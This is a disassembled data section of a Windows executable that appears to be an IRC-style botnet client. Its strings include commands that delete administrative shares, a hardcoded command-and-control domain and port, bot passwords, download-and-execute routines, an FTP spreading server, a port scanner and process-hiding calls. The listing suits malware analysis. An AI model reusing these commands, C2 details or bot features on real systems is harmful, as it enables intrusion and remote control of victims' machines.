		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F68h, 4	dup(0)
		dd offset loc_42AF54
		align 10h
dword_441F80	dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FC8h, 4	dup(0)
		dd offset loc_42B031
		align 10h
dword_441FE0	dd 19930520h, 3, 442000h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	0
		dd offset loc_43BBA8
		dd 1, 43BBB0h, 2 dup(0)
dword_442020	dd 19930520h, 1, 442040h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_442050	dd 19930520h, 1, 442070h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_442080	dd 19930520h, 1, 4420A0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC20h,	2 dup(0)
dword_4420B0	dd 19930520h, 1, 4420D0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	2 dup(0)
dword_4420E0	dd 19930520h, 1, 442100h, 5 dup(0)		dd 0FFFFFFFFh, 43BC60h,	2 dup(0)
dword_442110	dd 19930520h, 6, 442130h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
		dd 43BC90h, 0FFFFFFFFh,	43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
		dd 43BCA8h, 2 dup(0)
dword_442168	dd 19930520h, 16h, 442188h, 5 dup(0)		dd 0FFFFFFFFh, 43BCD0h,	0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
		dd 43BCE3h, 0FFFFFFFFh,	43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
		dd 43BCFEh, 0FFFFFFFFh,	43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
		dd 43BD16h, 0FFFFFFFFh,	43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
		dd 43BD31h, 0FFFFFFFFh,	43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
		dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch,	0Eh, 43BD64h, 0Eh
		dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch,	0Eh, 43BD7Ch, 6	dup(0)
dword_442250	dd 19930520h, 2, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288	dd 19930520h, 2, 4422A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BDE0h,	0
		dd offset loc_43BDEB
		align 10h
dword_4422C0	dd 19930520h, 1, 4422E0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE10h,	2 dup(0)
dword_4422F0	dd 19930520h, 2, 442310h, 5 dup(0)		dd 0FFFFFFFFh, 43BE30h,	0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328	dd 19930520h, 0Ah, 442348h, 5 dup(0)		dd 0FFFFFFFFh, 43BE50h,	0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
		dd 43BE66h, 0FFFFFFFFh,	43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
		dd 43BE87h, 0FFFFFFFFh,	43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
		dd 43BEA8h, 0FFFFFFFFh,	43BEB3h, 35Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FF60:loc_41083Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+875o
					; sub_404C70+AF1o ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+831o
					; sub_404C70+B5Eo ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FF60:loc_410949o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CF60+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
		align 8
aN:					; DATA XREF: sub_404C70+D23o
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+977o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6D2o
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+613o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+447o
					; sub_41C030+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9B1o ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40EC30+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:004086D8o ...
dword_4437F8	dd 40h							; sub_40FF60+7CCo ...
aHotfix		db 'hotfix',0           ; DATA XREF: sub_407790+394o
		align 4
aTsinternetuser	db 'TsInternetUser',0   ; DATA XREF: sub_407790+383o
		align 8
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+372o
		align 4
aE10adc3949ba59	db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o
		align 4
		dd 0
aAbosal7	db 'abosal7',0          ; DATA XREF: sub_407790+350o
		align 8
aTahy		db 'TAHY-',0            ; DATA XREF: sub_407790+342o
		align 10h
aWintwir	db 'wintwir',0          ; DATA XREF: sub_407790+331o
		dd 0
aMsnnmaneger_ex	db 'msnnmaneger.exe',0  ; DATA XREF: sub_407790+320o
		align 10h
aServec		db 'servec',0           ; DATA XREF: sub_407790+30Fo
		align 4
aS_1		db '#s',0               ; DATA XREF: sub_407790+2FEo
		align 4
aScop		db '#scop#',0           ; DATA XREF: sub_407790+2EDo
		align 4
aSaad		db 'saad',0             ; DATA XREF: sub_407790+2A9o
					; sub_407790+2DCo
		align 4
a7000		db '7000',0             ; DATA XREF: sub_407790+298o
					; sub_407790+2CBo
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
					; sub_407790+2BAo
		align 10h
off_4438C0	dd offset off_43E1D4	; DATA XREF: ___:0043F00Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438E0	dd offset off_43E1D4	; DATA XREF: ___:0043F02Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_443908	dd offset off_43E1D4	; DATA XREF: ___:0043F04Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
					; ___:0040A971o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B680+3Fo
					; sub_40B700+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B79Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B844o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BA77o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B924o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C400+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C400+327o
		align 10h
dword_443A30	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C400+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CBB0+1B1o
		dd 0
asc_443B04:				; DATA XREF: sub_40CBB0+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CF60+115o
		align 4
aS_2		db '%s\*',0             ; DATA XREF: sub_40CF60+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D479o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D580+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D580+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D580+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DB40+381o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40ED70+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40ED70+21o
					; sub_40EF90+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F441o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F289o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
		align 10h
		dd 0
asc_443C84	db ' :',0               ; DATA XREF: sub_40FF60+E2Bo
					; sub_40FF60+1118o ...
		align 4
asc_443C88:				; DATA XREF: sub_40FF60+CACo
					; sub_40FF60+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FF60:loc_410928o
					; sub_40FF60:loc_410BB7o
aS_3		db ' -s',0              ; DATA XREF: sub_40FF60:loc_4108FFo
					; sub_40FF60:loc_410B96o
asc_443C94:				; DATA XREF: sub_40FF60+871o
					; sub_40FF60:loc_410BD8o ...
		unicode	0, <:>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
					; sub_40FF60+732o ...
		align 8
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FF60+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
		dd 0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FF60+2C4o
					; sub_4126B0+91o ...
		dd 0
dword_443CD4	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4	dd 0A0D7325h, 0						; sub_42D1A0+71o
dword_443CEC	dd 25207325h, 253A2073h, 0A0D73h, 0					; sub_412970+8Fo
dword_443CFC	dd 4255505Bh, 5D43494Ch, 0dword_443D08	dd 4952505Bh, 45544156h, 5Dhdword_443D14	dd 202Eh						; sub_4126B0+E5o
dword_443D18	dd 3A6E616Ch, 20haUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F27o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412ED4o
		align 10h
aId		db 'id',0               ; DATA XREF: ___:loc_412E7Ao
		align 4
asc_443D34:				; DATA XREF: ___:loc_412E63o
		dw 3Ch
		unicode	0, <>,0
asc_443D38:				; DATA XREF: ___:loc_412E4Co
		dw 3Eh
		unicode	0, <>,0
asc_443D3C	db '==',0               ; DATA XREF: ___:loc_412E35o
		align 10h
asc_443D40	db '!=',0               ; DATA XREF: ___:00412E21o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4137E0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4192C0+312o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4192C0+2EAo
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4192C0+272o
					; sub_4192C0+297o
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4192C0+210o
		align 10h
aEstablished	db 'established',0      ; DATA XREF: sub_4192C0+205o
		align 10h
off_443D80	dd offset dword_504354	; DATA XREF: sub_4192C0+140o
					; ___:0042B302o ...
dword_443D84	dd 2D464544h, 504354h, 0					; sub_4192C0+12Eo
dword_443D90	dd 652Dh	dword_443D94	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419CF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419CCCo
		align 10h
byte_443DD0	db 1			; DATA XREF: sub_41A290r
		align 4
dword_443DD4	dd 2Eh							; ___:0041B235o ...
dword_443DD8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443E24:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443E38	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84	dd 63257325h, 0						; sub_41F860+E5o
dword_443E8C	dd 72h		dword_443E90	dd 30h							; sub_424840+327o
dword_443E94	dd 3039h	dword_443E98	dd 383631h	dword_443E9C	dd 323931h	dword_443EA0	dd 3631h	dword_443EA4	dd 323731h	dword_443EA8	dd 3031h	off_443EAC	dd offset aRFh		; DATA XREF: ___:0041C117r
					; ___:0041C287r
					; "RÃfh"
word_443EB0	dw 0			; DATA XREF: ___:0041C121r
					; ___:0041C291r
		align 4
off_443EB4	dd offset dword_49005C	; DATA XREF: ___:0041C0E6r
					; ___:0041C256r
dword_443EB8	dd 430050h						; ___:0041C25Br
dword_443EBC	dd 24h							; ___:0041C27Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_443EF8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_443FFC	dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C	dd 6469706Bh, 7325203Ah, 0dword_444018	dd 203A736Bh, 7325hdword_444020	dd 202E6425h, 7325202Fh, 0dword_44402C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_4440A8:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
aNla		db 'Nla',0              ; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44433C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_444410:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4227F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444448	dd 1BDh							; sub_422A40+310o ...
off_44444C	dd offset sub_401811	; DATA XREF: ___:00423E93r
dword_444450	dd 0							; sub_4235F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422A40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422A40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422A40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422A40+747o
aA		db ' -a',0              ; DATA XREF: sub_422A40+737o
					; sub_422A40+7A3o ...
aR		db ' -r',0              ; DATA XREF: sub_422A40:loc_423167o
					; sub_422A40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422A40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422A40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422A40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422A40+6Do
		align 4
		dd 0
dword_44467C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423B25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423CD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004241D7o
		align 4
		dd 3 dup(0)
